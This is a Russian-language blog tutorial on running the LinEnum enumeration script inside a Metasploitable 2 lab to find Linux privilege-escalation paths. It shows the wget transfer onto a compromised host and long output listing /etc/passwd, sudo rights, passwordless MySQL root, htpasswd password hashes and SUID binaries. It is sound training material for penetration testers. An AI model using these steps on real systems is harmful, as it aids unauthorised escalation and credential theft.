К основному контенту

BMW 2 Series Gran Tourer – лучшее семейное авто

👨⚕️👨⚕️👨⚕️👨⚕️👨⚕️👨⚕️ Использование LinEnum для идентификации потенциальных векторов повышения привилегий

Искусство повышения привилегий — это навык, которым должен обладать любой компетентный хакер.

Это целое отдельное поле само по себе, и хотя полезно знать, как выполнять методы, задействованные вручную, часто более эффективно иметь скрипт, автоматизирующий процесс.

LinEnum — один из таких скриптов, который может быть невероятно полезен для повышения привилегий в системах Linux.

Повышение привилегий — это метод использования определенных ошибок или недостатков для получения более высоких разрешений относительно текущего пользователя.

Обычно это включает переход от оболочки уровня пользователя к корневой оболочке в Unix или системной оболочки в Windows.

Существует множество методов для успешного повышения привилегий, и для их освоения могут потребоваться годы. В Linux есть несколько основных методов, используемых для повышения привилегий, как описано в известной записи блога g0tmi1k. Однако многие команды можно автоматизировать, и именно это и делает LinEnum.

LinEnum — это простой bash-скрипт, который выполняет общие команды, связанные с повышением привилегий, экономя время и позволяя приложить больше усилий для получения root-прав.

Это не идеальное решение, так как могут быть ложные срабатывания или пропущенные моменты, поэтому всегда полезно проверять элементы вручную после запуска сценария.

В этом руководстве мы используем Metasploitable 2 в качестве цели и Kali Linux в качестве атакующей машины, но вы можете попробовать его на любой подобной конфигурации тестирования, которую вы уже настроили.

Однако обязательным условием для выполнения является то, что у вас уже должна быть низкоуровневая оболочка на цели.

Шаг 1 Подготовьте скрипт на вашем атакующем компьютере

Для начала давайте создадим каталог, чтобы все было организовано.

Не стесняйтесь называть его как хотите.

Затем перейдите в этот каталог.

~# mkdir linenum~# cd linenum/
LinEnum и его скрипт можно найти на GitHub. Простой способ получить скрипт — использовать wget для загрузки необработанного контента непосредственно с GitHub, как показано ниже.
~/linenum# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh--2019-05-06 11:24:05--https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shResolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 45639 (45K) Saving to: 'LinEnum.sh'LinEnum.sh100%[======================================================================================================================>]44.57K--.-KB/sin 0.05s2019-05-06 11:24:05 (872 KB/s) - 'LinEnum.sh' saved [45639/45639]
Теперь, когда скрипт находится в нашем каталоге, мы можем использовать Python для передачи файла нашей цели. Самый простой способ сделать это — использовать модуль SimpleHTTPServer.
~/linenum# python -m SimpleHTTPServerServing HTTP on 0.0.0.0 port 8000 ...
Этот модуль будет обслуживать содержимое любого каталога, в котором вы запускаетесь на порту 8000. Мы также можем указать любой другой порт, который нам нужен, как показано ниже.
~/linenum# python -m SimpleHTTPServer 1337Serving HTTP on 0.0.0.0 port 1337 ...

Загрузите скрипт на целевой машине

Затем, на цели, перейдите в каталог, куда мы хотим, чтобы отправился файл. Мне нравится использовать /var/tmp, но любой доступный для записи каталог — хороший выбор.
www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ cd /var/tmp

 

Другие хорошие кандидаты:

  • /tmp
  • /dev/shm
  • /var/lock
  • /run/lock
Теперь нам нужен способ передачи файла. Утилиты, такие как wget и curl, обычно можно найти в системах Linux и предлагают простой способ захвата файлов. Проверьте, что  они установлены с помощью какой which.
www-data@metasploitable:/var/tmp$ which wget/usr/bin/wget
Затем используйте его, чтобы загрузить LinEnum на цель.
www-data@metasploitable:/var/tmp$ wget 10.10.0.1:1337/LinEnum.sh--10:20:58--http://10.10.0.1:1337/LinEnum.sh=> `LinEnum.sh'Connecting to 10.10.0.1:1337... connected.HTTP request sent, awaiting response... 200 OKLength: 45,639 (45K) 100%[=========================================================================================================================================================================>] 45,639--.--K/s10:20:58 (38.45 MB/s) - `LinEnum.sh' saved [45639/45639]
Если мы просмотрим разрешения, наш скрипт еще не исполняется.
www-data@metasploitable:/var/tmp$ ls -latotal 60drwxrwxrwt2 root root4096 Aug8 10:20 .drwxr-xr-x 14 root root4096 Mar 172010 ..-rw-r--r--1 www-data www-data 45639 May62019 LinEnum.sh
Но мы можем сделать его исполняемым с помощью команды chmod.
www-data@metasploitable:/var/tmp$ chmod +x LinEnum.sh
Теперь, когда мы видим разрешения, он отображается как исполняемый.
www-data@metasploitable:/var/tmp$ ls -latotal 60drwxrwxrwt2 root root4096 Aug8 10:20 .drwxr-xr-x 14 root root4096 Mar 172010 ..-rwxr-xr-x1 www-data www-data 45639 May62019 LinEnum.sh

Запустите LinEnum и проанализируйте результаты

Теперь, когда все готово, остается только запустить LinEnum.
www-data@metasploitable:/var/tmp$ ./LinEnum.sh
Скрипт запускается и может занять некоторое время для запуска. Как только он выполнится, прокрутите назад к верху, и мы можем начать исследовать результаты. Вывод начинается с некоторой системной информации о ядре и выпуске, которая может быть полезна для эксплойтов ядра:
########################################################## Local Linux Enumeration & Privilege Escalation Script ########################################################### www.rebootuser.com# version 0.96[-] Debug Info[+] Thorough tests = DisabledScan started at:Wed Aug8 10:23:33 EDT 2018### SYSTEM ##############################################[-] Kernel information:Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux[-] Kernel information (continued):Linux version 2.6.24-16-server (buildd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:58:00 UTC 2008[-] Specific release information:DISTRIB_ID=UbuntuDISTRIB_RELEASE=8.04DISTRIB_CODENAME=hardyDISTRIB_DESCRIPTION="Ubuntu 8.04"[-] Hostname:metasploitable
Затем мы получаем некоторую информацию о пользователе, такую как ранее зарегистрированные пользователи и текущая информация о пользователе:
### USER/GROUP ##########################################[-] Current user/group info:uid=33(www-data) gid=33(www-data) groups=33(www-data)[-] Users that have previously logged onto the system:Username Port From Latestroot pts/0:0.0 Wed Aug8 09:46:22 -0400 2018msfadmin tty1Wed Aug8 09:47:11 -0400 2018[-] Who else is logged on:10:23:33 up 38 min,2 users,load average: 0.01, 0.02, 0.00USER TTYFROMLOGIN@ IDLE JCPU PCPU WHATmsfadmin tty1 -09:47 35:59m0.19s0.09s -bashroot pts/0:0.0 09:46 37:14m0.04s0.04s -bash
Он также предоставляет нам содержимое /etc/passwd, которое может быть полезно при перечислении пользователей на компьютере:
[-] Contents of /etc/passwd:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shdhcp:x:101:102::/nonexistent:/bin/falsesyslog:x:102:103::/home/syslog:/bin/falseklog:x:103:104::/home/klog:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologinmsfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bashbind:x:105:113::/var/cache/bind:/bin/falsepostfix:x:106:115::/var/spool/postfix:/bin/falseftp:x:107:65534::/home/ftp:/bin/falsepostgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashmysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/falsetomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/falsedistccd:x:111:65534::/:/bin/falseuser:x:1001:1001:just a user,111,,:/home/user:/bin/bashservice:x:1002:1002:,,,:/home/service:/bin/bashtelnetd:x:112:120::/nonexistent:/bin/falseproftpd:x:113:65534::/var/run/proftpd:/bin/falsestatd:x:114:65534::/var/lib/nfs:/bin/false
Затем он дает нам некоторую информацию, относящуюся к учетной записи суперпользователя, такую как учетные записи, которые недавно использовали sudo, разрешения корневого каталога и информацию для входа в SSH:
[-] Super user account(s):root[+] We can sudo without supplying a password!usage: sudo -h | -K | -k | -L | -l | -V | -vusage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]{-i | -s | }usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...[-] Accounts that have recently used sudo:/home/msfadmin/.sudo_as_admin_successful[+] We can read root's home directory!total 76Kdrwxr-xr-x 13 root root 4.0K Aug8 09:46 .drwxr-xr-x 21 root root 4.0K Jan 152019 ..-rw-------1 root root324 Aug8 09:46 .Xauthoritylrwxrwxrwx1 root root9 May 142012 .bash_history -> /dev/null-rw-r--r--1 root root 2.2K Oct 202007 .bashrcdrwx------3 root root 4.0K May 202012 .configdrwx------2 root root 4.0K May 202012 .filezilladrwxr-xr-x5 root root 4.0K Aug8 09:46 .fluxboxdrwx------2 root root 4.0K May 202012 .gconfdrwx------2 root root 4.0K May 202012 .gconfddrwxr-xr-x2 root root 4.0K May 202012 .gstreamer-0.10drwx------4 root root 4.0K May 202012 .mozilla-rw-r--r--1 root root141 Oct 202007 .profiledrwx------5 root root 4.0K May 202012 .purple-rwx------1 root root4 May 202012 .rhostsdrwxr-xr-x2 root root 4.0K May 202012 .sshdrwx------2 root root 4.0K Aug8 09:46 .vncdrwxr-xr-x2 root root 4.0K May 202012 Desktop-rwx------1 root root401 May 202012 reset_logs.sh-rw-r--r--1 root root138 Aug8 09:46 vnc.log[-] Are permissions on /home directories lax:total 24Kdrwxr-xr-x6 root root 4.0K Apr 162010 .drwxr-xr-x 21 root root 4.0K Jan 152019 ..drwxr-xr-x2 root nogroup4.0K Mar 172010 ftpdrwxr-xr-x5 msfadmin msfadmin 4.0K Jun6 13:03 msfadmindrwxr-xr-x2 serviceservice4.0K Apr 162010 servicedrwxr-xr-x3 user user 4.0K May72010 user[-] Root is allowed to login via SSH:PermitRootLogin yes
Чуть дальше, мы можем увидеть любые задания cron, присутствующие на машине, которые могут быть особенно полезны для повышения привилегий, так как эти задачи часто выполняются с правами root:
### JOBS/TASKS ##########################################[-] Cron jobs:-rw-r--r-- 1 root root724 Apr82008 /etc/crontab/etc/cron.d:total 20drwxr-xr-x2 root root 4096 Jul5 16:19 .drwxr-xr-x 94 root root 4096 Aug8 09:45 ..-rw-r--r--1 root root102 Apr82008 .placeholder-rw-r--r--1 root root507 May32012 php5-rw-r--r--1 root root 1323 Mar 312008 postgresql-common/etc/cron.daily:total 60drwxr-xr-x2 root root 4096 Apr 282010 .drwxr-xr-x 94 root root 4096 Aug8 09:45 ..-rw-r--r--1 root root102 Apr82008 .placeholder-rwxr-xr-x1 root root633 Feb12008 apache2-rwxr-xr-x1 root root 7441 Apr 222008 apt-rwxr-xr-x1 root root314 Apr42008 aptitude-rwxr-xr-x1 root root502 Dec 122007 bsdmainutils-rwxr-xr-x1 root root 89 Jun 192006 logrotate-rwxr-xr-x1 root root954 Mar 122008 man-db-rwxr-xr-x1 root root183 Mar82008 mlocate-rwxr-xr-x1 root root383 Apr 282010 samba-rwxr-xr-x1 root root 3295 Apr82008 standard-rwxr-xr-x1 root root 1309 Nov 232007 sysklogd-rwxr-xr-x1 root root477 Dec72008 tomcat55/etc/cron.hourly:total 12drwxr-xr-x2 root root 4096 Mar 162010 .drwxr-xr-x 94 root root 4096 Aug8 09:45 ..-rw-r--r--1 root root102 Apr82008 .placeholder/etc/cron.monthly:total 20drwxr-xr-x2 root root 4096 Apr 282010 .drwxr-xr-x 94 root root 4096 Aug8 09:45 ..-rw-r--r--1 root root102 Apr82008 .placeholder-rwxr-xr-x1 root root664 Feb 202008 proftpd-rwxr-xr-x1 root root129 Apr82008 standard/etc/cron.weekly:total 24drwxr-xr-x2 root root 4096 Mar 162010 .drwxr-xr-x 94 root root 4096 Aug8 09:45 ..-rw-r--r--1 root root102 Apr82008 .placeholder-rwxr-xr-x1 root root528 Mar 122008 man-db-rwxr-xr-x1 root root 2522 Jan 282008 popularity-contest-rwxr-xr-x1 root root 1220 Nov 232007 sysklogd
Далее мы получаем некоторую информацию о конкретном программном обеспечении, установленном в системе. Он предоставляет номера версий, которые могут быть полезны при попытке использования эксплойтов, а также конкретную информацию, такую как имена и разрешения для входа в MySQL:
### SOFTWARE #############################################[-] Sudo version:Sudo version 1.6.9p10[-] MYSQL version:mysqlVer 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2[+] We can connect to the local MYSQL service as 'root' and without a password!mysqladminVer 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486Copyright (C) 2000-2006 MySQL ABThis software comes with ABSOLUTELY NO WARRANTY. This is free software,and you are welcome to modify and redistribute it under the GPL licenseServer version5.0.51a-3ubuntu5Protocol version10ConnectionLocalhost via UNIX socketUNIX socket /var/run/mysqld/mysqld.sockUptime: 38 min 1 secThreads: 2Questions: 456Slow queries: 0Opens: 420Flush tables: 1Open tabl

Скрипт также будет искать определенные файлы, которые могут содержать пароли, такие как файл htpasswd:

[-] htpasswd found - could contain passwords:/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/.htpasswdTWikiGuest:zK.G.uuPi39QgPeterThoeny:CQdjUgwC6YckINicholasLee:h3i.9AzGUn4tQAndreaSterbini:zuUMZlkXvUR6YJohnTalintyre:2fl31yuNhvMrUMikeMannix:euHykHV5Q2miARichardDonkin:pAVoSPpUf3xt2GrantBow:EI7XT7IJJV40A/var/www/twiki/data/.htpasswdTWikiGuest:zK.G.uuPi39QgPeterThoeny:CQdjUgwC6YckINicholasLee:h3i.9AzGUn4tQAndreaSterbini:zuUMZlkXvUR6YJohnTalintyre:2fl31yuNhvMrUMikeMannix:euHykHV5Q2miARichardDonkin:pAVoSPpUf3xt2GrantBow:EI7XT7IJJV40A
И, наконец, он показывает нам потенциально интересные двоичные файлы SUID, что, по моему мнению, является наиболее полезной функцией этого скрипта. Это программы, которые разрешено выполнять с разрешениями конкретного пользователя, обычно пользователя с более высокими привилегиями. Когда определенные программы установлены таким образом (например, более старые версии nmap), они могут быть использованы для получения оболочки рута:
[-] Can we read/write sensitive files:-rw-r--r-- 1 root root 1581 May 132012 /etc/passwd-rw-r--r-- 1 root root 886 Apr 162010 /etc/group-rw-r--r-- 1 root root 497 May 132012 /etc/profile-rw-r----- 1 root shadow 1207 May 132012 /etc/shadow[-] SUID files:-rwsr-xr-x 1 root root 63584 Apr 142008 /bin/umount-rwsr-xr-- 1 root fuse 20056 Feb 262008 /bin/fusermount-rwsr-xr-x 1 root root 25540 Apr22008 /bin/su-rwsr-xr-x 1 root root 81368 Apr 142008 /bin/mount-rwsr-xr-x 1 root root 30856 Dec 102007 /bin/ping-rwsr-xr-x 1 root root 26684 Dec 102007 /bin/ping6-rwsr-xr-x 1 root root 65520 Dec22008 /sbin/mount.nfs-rwsr-xr-- 1 root dhcp 2960 Apr22008 /lib/dhcp3-client/call-dhclient-script-rwsr-xr-x 2 root root 107776 Feb 252008 /usr/bin/sudoedit-rwsr-sr-x 1 root root 7460 Jun 252008 /usr/bin/X-rwsr-xr-x 1 root root 8524 Nov 222007 /usr/bin/netkit-rsh-rwsr-xr-x 1 root root 37360 Apr22008 /usr/bin/gpasswd-rwsr-xr-x 1 root root 12296 Dec 102007 /usr/bin/traceroute6.iputils-rwsr-xr-x 2 root root 107776 Feb 252008 /usr/bin/sudo-rwsr-xr-x 1 root root 12020 Nov 222007 /usr/bin/netkit-rlogin-rwsr-xr-x 1 root root 11048 Dec 102007 /usr/bin/arping-rwsr-sr-x 1 daemon daemon 38464 Feb 202007 /usr/bin/at-rwsr-xr-x 1 root root 19144 Apr22008 /usr/bin/newgrp-rwsr-xr-x 1 root root 28624 Apr22008 /usr/bin/chfn-rwsr-xr-x 1 root root 780676 Apr82008 /usr/bin/nmap-rwsr-xr-x 1 root root 23952 Apr22008 /usr/bin/chsh-rwsr-xr-x 1 root root 15952 Nov 222007 /usr/bin/netkit-rcp-rwsr-xr-x 1 root root 29104 Apr22008 /usr/bin/passwd-rwsr-xr-x 1 root root 46084 Mar 312008 /usr/bin/mtr-rwsr-sr-x 1 libuuid libuuid 12336 Mar 272008 /usr/sbin/uuidd-rwsr-xr-- 1 root dip 269256 Oct42007 /usr/sbin/pppd-rwsr-xr-- 1 root telnetd 6040 Dec 172006 /usr/lib/telnetlogin-rwsr-xr-- 1 root www-data 10276 Mar92010 /usr/lib/apache2/suexec-rwsr-xr-x 1 root root 4524 Nov52007 /usr/lib/eject/dmcrypt-get-device-rwsr-xr-x 1 root root 165748 Apr62008 /usr/lib/openssh/ssh-keysign-rwsr-xr-x 1 root root 9624 Aug 172009 /usr/lib/pt_chown[+] Possibly interesting SUID files:-rwsr-xr-- 1 root dhcp 2960 Apr22008 /lib/dhcp3-client/call-dhclient-script-rwsr-xr-x 1 root root 780676 Apr82008 /usr/bin/nmap-rwsr-xr-x 1 root root 46084 Mar 312008 /usr/bin/mtr

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Комментарии


Дистанционная компьтерная помощь, удаленная компьютерная помощь онлайн.

Популярные сообщения из этого блога

Лучшие плагины для OBS Studio

Open Broadcast Software или OBS - это свободное программное обеспечение с открытым исходным кодом для стриминга аудио и видео данных в сеть интернет. Программа полностью кроссплатформенная и может работать в Windows, Linux или MacOS. Это отличная альтернатива для таких программ, как Wirecast и XSplit. OBS использует для вещания стандартный протокол обмена сообщениями в реальном времени, а поэтому может транслировать данные в любой сервис, поддерживающий это, например, Yotube. Несмотря на широкие возможности OBS, программа поддерживает еще и множество плагинов. В этой статье мы рассмотрим лучшие плагины для OBS Studio, которые вы можете использовать. Содержание статьи: Лучшие плагины OBS Studio 1. Browser Source Plugin 2. Video Source Plugin 3. Simple Scene Switcher 4. DirectShow Audio Source 5. CLR Browser Source 6. OBS Remote 7. AMD Advanced Media Framework Encoder 8. Text Source Plugin Выводы Лучшие плагины OBS Studio Чтобы найти плагины OBS Studio для Video пользователям пр…

Установка операционной системы Raspberry pi 3

Raspberry Pi - это недорогой микрокомпьютер, который  помещается на ладони и может сделать очень многое. На основе этого микрокомпьютера можно создавать как серьезные проекты, по управлению умным домом, так и использовать в качестве медиацентра или даже легковесного домашнего компьютера с Linux. В одной из предыдущих статей мы подробно рассматривали начало работы с Raspberry Pi 3, как подключить устройство и что для этого необходимо, сейчас же остановимся более подробно на такой задаче, как установка операционной системы Raspberry Pi 3. Здесь используется процессор на архитектуре ARM, а значит вы можете установить любой поддерживаемый ARM дистрибутив, или же созданный специально для Raspberry дистрибутив Raspbian. Содержание статьи: Установка системы Raspberry с помощью NOOBS 1. Подготовка SD карты 2. Загрузка образ NOOBS 3. Запись на SD карту 4. Запуск системы Установка системы Raspberry из образа 1. Загрузка образа 2. Запись образ на карту Выводы Установка системы Raspberry …

Подключение OneDrive в Linux

OneDrive (Ранее известный как SkyDrive) это популярное облачное хранилище файлов от Майкрософт. Сейчас OneDrive бесплатно предоставляет 7 гигабайт пространства новым пользователям. Как вы знаете OneDrive хорошо интегрирован с другими продуктами компании  Microsoft. В OneDrive Также есть официальный клиент который автоматически загружает ваши видео и фотографии с камеры в облако. Но к сожалению этот клиент недоступен для операционных систем семейства Linux. Но не все так плохо. Сообщество открытого программного обеспечения уже нашло решение. Это opedrive-d от Boilermaker. Запустившись как демон программа автоматически синхронизирует локальную папку с облаком OneDrive. Содержание статьи: Установка Onedrive-d в Linux Настройка Синхронизация локальной папки с OneDrive Установка Onedrive-d в Linux Несмотря на то что onedrive-d разрабатывается для Ubuntu/Debian, CentOs/Fedora/RHEL поддерживается тоже хорошо. Для установки достаточно набрать несколько команд: $ git clone https://gith…